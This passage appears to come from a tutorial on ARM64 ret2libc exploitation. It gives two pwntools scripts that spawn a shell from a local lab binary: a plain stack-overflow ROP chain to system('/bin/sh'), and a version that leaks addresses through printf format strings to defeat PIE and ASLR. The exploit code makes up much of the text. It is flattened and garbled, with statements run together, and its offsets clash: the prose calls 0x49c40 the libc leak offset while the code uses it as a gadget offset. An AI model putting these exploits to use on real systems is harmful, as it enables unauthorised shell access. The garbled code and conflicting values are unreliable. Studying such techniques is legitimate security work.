Creating a pattern with pattern create 200, using it, and checking for the offset with pattern search $x30 we can see that the offset is 108 (0x6c).
Taking a look to the dissembled main function we can see that we would like to jump to the instruction to jump to printf directly, whose offset from where the binary is loaded is 0x860:
Find system and /bin/sh string
As the ASLR is disabled, the addresses are going to be always the same:
Find Gadgets
We need to have in x0 the address to the string /bin/sh and call system.
This gadget will load x0 from $sp + 0x18 and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can control the first argument and then jump to system.
Exploit
from pwn import*from time import sleepp =process('./rop')# For local binarylibc =ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")libc.address =0x0000fffff7df0000binsh =next(libc.search(b"/bin/sh"))#Verify with find /bin/shsystem = libc.sym["system"]defexpl_bof(payload): p.recv() p.sendline(payload)# Ret2mainstack_offset =108ldr_x0_ret =p64(libc.address +0x6bdf0)# ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;x29 =b"AAAAAAAA"x30 =p64(system)fill =b"A"* (0x18-0x10)x0 =p64(binsh)payload =b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0p.sendline(payload)p.interactive()p.close()
Ret2lib - NX, ASL & PIE bypass with printf leaks from the stack
Setting a breakpoint before calling printf it's possible to see that there are addresses to return to the binary in the stack and also libc addresses:
Trying different offsets, the %21$p can leak a binary address (PIE bypass) and %25$p can leak a libc address:
Subtracting the libc leaked address with the base address of libc, it's possible to see that the offset of the leaked address from the base is 0x49c40.
x30 offset
See the previous example as the bof is the same.
Find Gadgets
Like in the previous example, we need to have in x0 the address to the string /bin/sh and call system.
Using rooper another interesting gadget was found:
This gadget will load x0 from $sp + 0x78 and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can control the first argument and then jump to system.
Exploit
from pwn import*from time import sleepp =process('./rop')# For local binarylibc =ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")defleak_printf(payload,is_main_addr=False): p.sendlineafter(b">\n" ,payload) response = p.recvline().strip()[2:] #Remove new line and "0x" prefixif is_main_addr: response = response[:-4]+b"0000"returnint(response, 16)defexpl_bof(payload): p.recv() p.sendline(payload)# Get main addressmain_address =leak_printf(b"%21$p", True)print(f"Bin address: {hex(main_address)}")# Ret2mainstack_offset =108main_call_printf_offset =0x860#Offset inside main to call printfleakprint("Going back to "+str(hex(main_address + main_call_printf_offset)))ret2main =b"A"*stack_offset +p64(main_address + main_call_printf_offset)expl_bof(ret2main)# libclibc_base_address =leak_printf(b"%25$p")-0x26dc4libc.address = libc_base_addressprint(f"Libc address: {hex(libc_base_address)}")binsh =next(libc.search(b"/bin/sh"))system = libc.sym["system"]# ret2systemldr_x0_ret =p64(libc.address +0x49c40)# ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;x29 =b"AAAAAAAA"x30 =p64(system)fill =b"A"* (0x78-0x10)x0 =p64(binsh)payload =b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0p.sendline(payload)p.interactive()